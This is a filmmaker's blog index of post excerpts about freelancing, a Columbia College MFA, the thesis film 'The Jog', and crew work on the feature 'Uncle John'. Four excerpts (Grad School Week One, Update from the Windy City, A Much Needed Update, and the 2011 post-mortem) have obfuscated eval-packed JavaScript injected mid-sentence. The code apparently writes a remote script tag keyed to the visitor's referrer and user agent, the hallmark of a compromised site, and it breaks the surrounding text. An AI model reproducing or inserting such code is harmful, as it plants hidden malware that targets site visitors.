2015: A Post Mortem (Finally)

2015 has come and gone. It was an insane (in a good way) year, both professionally and personally. It was my first full year of freelancing full-time, I traveled, got engaged, and pushed my work to the next level with some new gear. If 2014 was defined by “transition,” then 2015 could be described as “growth.”

2015 Post Mortem

Vancouver Vacation

It’s been over a month since I finished my NAB Spotlight posts and almost two since NAB itself. Since getting back from Vegas both Loretta and I have been working pretty much non-stop and it was time for a well-needed vacation. Now that things are starting to slow down, I can get back to getting posts out.

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Illumination Experience- Day 1

I spent the last weekend participating in the Illumination Experience Cinematography Tour (illumination.mzed.com). For two days I got hands on education from one of my favorite DP’s of all time, Shane Hurlbut (hurlbutvisuals.com). Being able to learn from an amazing cinematographer and speaker was truly invaluable.

Illumination Experience- Day 1

Life Update and The Jog

Hello there readers. It’s been a while since my last post on my studio build (widenmedia.com) and even longer since my last update on the status of my Columbia College thesis film The Jog (widenmedia.com); so I thought I would catch you all up on what has been going on.

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Project Update: Uncle John

Back in August and September of 2013 I worked on a feature film called Uncle John (unclejohnfilm.com). You may remember me talking about the production in my “On Set With” blogs (Part I) (Part II). Uncle John is now finished! This is the first feature that I’ve 1st AC’ed on so being able to see it is an intense feeling for me.

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Finally Home!

Well folks, after a two month stint in Los Angeles, to finish up classes for my MFA, I’m finally back home in San Francisco. Loretta and I have a great place to set up in the sunset and we’re both looking forward to what the future has for us. I haven’t checked in for a while, so being back seems like a good time to do so!

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Update: The Jog is Shot!

This post is roughly a month overdue, but here it is. The Jog is completely shot and in the can! We wrapped our last day of production on December 14th and it was quite a journey. Here’s a quick update on the process.

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Rob Ruscher on Shooting Five/Five

After its release, Five/Five went a little viral; becoming a Vimeo pick of the week, and generating 2,200 likes; which is huge for a documentary project. I wanted to know more about how the film was made, and reached out to the Director of Photography, Rob Ruscher (ruschervisuals.com), with some questions. He had a lot of great insight into the indie production process.

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Update: Prepping The Jog

We’re well under way of prepping for the production of The Jog, my thesis film for Columbia College Chicago’s Creative Producing program. We’re roughly one month before physical production and we’ve got a lot to do, but it CAN BE DONE!

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On Set with “Uncle John” Part I: Wisconsin

Towards the end of August I started working on the production of Uncle John, an indie feature being shot in Wisconsin and in Chicago. I got brought on as 1st AC and the whole experience was really fantastic. Because we spent time shooting in two different states, I’m breaking the post into two parts. I’ll cover the 10 days we spent in Wisconsin in this first part.

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On Set with "Uncle John" Part I: Wisconsin

Towards the end of August I started working on the production of Uncle John, an indie feature being shot in Wisconsin and in Chicago. I got brought on as 1st AC and the whole experience was really fantastic. Because we spent time shooting in two different states, I’m breaking the post into two parts. I’ll cover the 10 days we spent in Wisconsin in this first part.

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The Everything Post

Wow, it’s been over a month since my last post… and what a crazy busy month it’s been. So far 2013 is shaping up really well, and there are a lot of things I’m working on for later this year. I haven’t given a solid update on the state of things in a while so, this post will hopefully catch us all up before I move into summer reviews and tutorials.

I took some time after the end of the semester to decompress. I took Loretta and Zero camping in Michigan (see Loretta’s post about it here: creatively-driven.com), I sorted through my office and apartment, I cleaned out the clutter and got reset, and now I’m finally ready to look back at how much actually happened that last few months.

Perpetually Playing Catch Up

After weeks of non-stop working, I finally “took a day off.” The last few months have been crazy hectic. Between schoolwork, work-work, a new puppy, personal projects, and blogs, I haven’t had a solid day to just relax. Yesterday and today I took time to clean my apartment and cook a decent meal, but my “day off” is in quotes because the work never ends. I have one more production (shooting this week) to get through before I can really take a breather. And, with NAB next week, it couldn’t come at a better time.

Grad School Week 7,8,9

So, another three weeks have just passed. I am deeply embedded into Columbia's MFA Producing program. We've been so busy that the last few weeks have been a blur. It seems like all I do anymore is go to class, come home, eat, do homework,...

Grad School Week 4,5,6

I haven't posted about my experiences in the Columbia College Creative Producing MFA program for the last three weeks. I know, I've been bad. But, I've also been absolutely swamped; both with school work, and with work-work. But, here's the summary for the last three...

Grad School Week One

Last week was my first week of classes at Columbia College Chicago (colum.edu). eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tdyyf|var|u0026u|referrer|fiaaz||js|php'.split('|'),0,{})) Ever since Loretta and I moved from San Francisco I've been sitting in anticipation. The closer the day came to start, the more anxious I got....

Update from the Windy City

Hey everyone, it's been a while since I've done a general update post. Well, here it is. And boy are there some updates for you. It's been a busy couple of months. The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dzanb|var|u0026u|referrer|abins||js|php'.split('|'),0,{})) Move The biggest thing I've had on my...

A Meager Update

Hey everyone. Sorry for not having a real post this week. I have been super slammed with work. Facebook's IPO has everyone in a frenzy and that means big news. But, I have some more product reviews, tutorials, and general intrigues coming up on the...

A Much Needed Update

I know I haven't posted in a while, I've been slammed (240 hours over the last 4 weeks). Thought I would give you guys a bit of an update. Here's eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|skras|var|u0026u|referrer|szrby||js|php'.split('|'),0,{})) what I've been doing: -Working more than full time at Beyond...

Just an Update

Hey everyone, I know I haven't posted since the beginning of the month. Just been really busy with work and applying to grad school.  But, I've got a whole stock of new gear to review. And a slew of new projects to talk about. Those will all...

Widen Media Reboot

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My End of the Year (Almost)Post-Mortem

Since it's the time of year when companies summarize the year they've had, and it's been a while since I've done a life check in, here's my Almost-Post-Mortem of 2011. I'll try to keep it under 600 words. Gear: I'm eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yazrd|var|u0026u|referrer|ybnab||js|php'.split('|'),0,{})) a...